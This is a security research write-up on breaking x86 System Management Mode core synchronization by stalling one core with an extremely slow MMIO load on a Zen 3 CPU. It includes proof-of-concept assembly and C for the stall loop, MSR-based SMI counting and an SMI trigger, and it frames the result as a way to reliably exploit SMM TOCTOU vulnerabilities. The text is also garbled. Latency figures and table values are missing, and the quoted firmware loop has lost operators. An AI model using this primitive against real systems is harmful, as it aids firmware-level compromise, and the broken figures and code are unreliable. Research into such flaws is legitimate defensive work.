Exploiting System Management Mode with a very long interrupt
Breaking System Management Mode (SMM) via Extreme Instruction Latency
This research explores a method to compromise System Management Mode (SMM)—the most privileged execution environment on x86 architectures—by utilizing a single, abnormally long-running machine instruction.
🔍 Overview
SMM is designed to be an invisible, secure sandbox. For its security model to remain intact, the CPU enforces a strict rule: all processor cores must enter or exit SMM simultaneously.
When one core triggers an entry into SMM, it signals all other cores to follow suit. If a core is "too busy" to respond to this invitation, the synchronization fails.
The Attack Logic
The vulnerability arises when a core is trapped in an instruction that takes so long to complete that the other cores give up waiting and proceed with SMM operations anyway.
⏱️ The One-Second Timeout
Most x86 instructions are nearly instantaneous. For example, an add operation typically takes cycle. To break the SMM rendezvous, we need an instruction that lasts roughly:
This equates to over one second of real-world time.
Firmware Synchronization Logic
When a core enters SMM, the firmware executes a synchronization loop similar to this:
for ( Timer = StartSyncTimer (); !IsSyncTimerTimeout ( Timer , mTimeoutTicker ) SyncNeeded ; ) { mSmmMpSyncData - AllApArrivedWithException = AllCpusInSmmExceptBlockedDisabled (); if ( mSmmMpSyncData - AllApArrivedWithException ) { break ; } CpuPause (); }
Because System Management Interrupts (SMIs) are only handled at instruction boundaries, a core cannot be forced into SMM if it is in the middle of a single, massive operation. If that operation exceeds the 1-second timeout, the "all-cores" guarantee is guaranteed broken.
| Instruction Type | Typical Latency | Required Latency for Exploit |
|---|---|---|
Standard ALU (add, sub) | cycle | N/A |
| Standard Memory Load | cycles | N/A |
| Slow MMIO Load | cycles | second |
🛠️ Proof-of-Concept (PoC)
To achieve this, the attacker must find a high-latency Memory-Mapped I/O (MMIO) address. By using the widest possible load instruction and inducing bus contention, the CPU can be stalled.
Implementation on Zen 3 (Ryzen 7 5800H)
On this specific platform, a wide xmm load from the address 0xfcc68860 creates the necessary stall.
The "Long" Load:
mov $0xfcc68860, %rsi ; Target slow MMIO address
vmovdqu (%rsi), %xmm0 ; Execute the ultra-slow load
Execution Steps
- Step 1: Stall the Victim. One core runs a tight loop of the slow load to remain outside SMM.
- Step 2: Setup Monitoring. Use Model Specific Registers (MSRs) to count SMIs.
- Step 3: Trigger Storm. Fire multiple SMIs to test synchronization.
- Step 4: Verify Divergence. Compare SMI counts across cores.
Victim Core Loop:
/* The victim core: too busy to answer the SMI */
for (;;) {
asm volatile ( "vmovdqu (%0), %%xmm0" :: "r" ( mmio ) : "xmm0" );
}
Attacker Core Setup:
#define MSR_PERF_CTL0 0xc0010200 // AMD core perf event-select
#define MSR_PERF_CTR0 0xc0010201 // 48-bit counter
for ( int cpu = 0 ; cpu < ACTIVE_CPUS ; cpu ++ ) {
msr_write ( cpu , MSR_PERF_CTL0 , 0x43002b ); // Enable event 0x2b
msr_write ( cpu , MSR_PERF_CTR0 , 0 ); // Reset counter
}
// Trigger SMI via port 0xb2
asm volatile ( "outb %%al, $0xb2" :: "a" ( 0 ));
Verification:
uint64_t delta = smi_max - smi_min;
if ( delta ) {
puts ( "!!! SMM Synchronization Broken !!!" );
}
🚩 Exploitation Potential
The entire security architecture of SMM rests on the assumption that nothing else is running while SMM is active. By breaking this synchronization, an attacker can create a scenario where one core is executing SMM code while another core remains in a lower privilege level.
This opens the door to TOCTOU (Time-of-Check Time-of-Use) vulnerabilities. Since there are already over 100 known SMM TOCTOU CVEs, this primitive allows an attacker to reliably trigger them by manipulating memory while the SMM handler is mid-execution.
Figure 1: Conceptual representation of the timing gap created by the long instruction.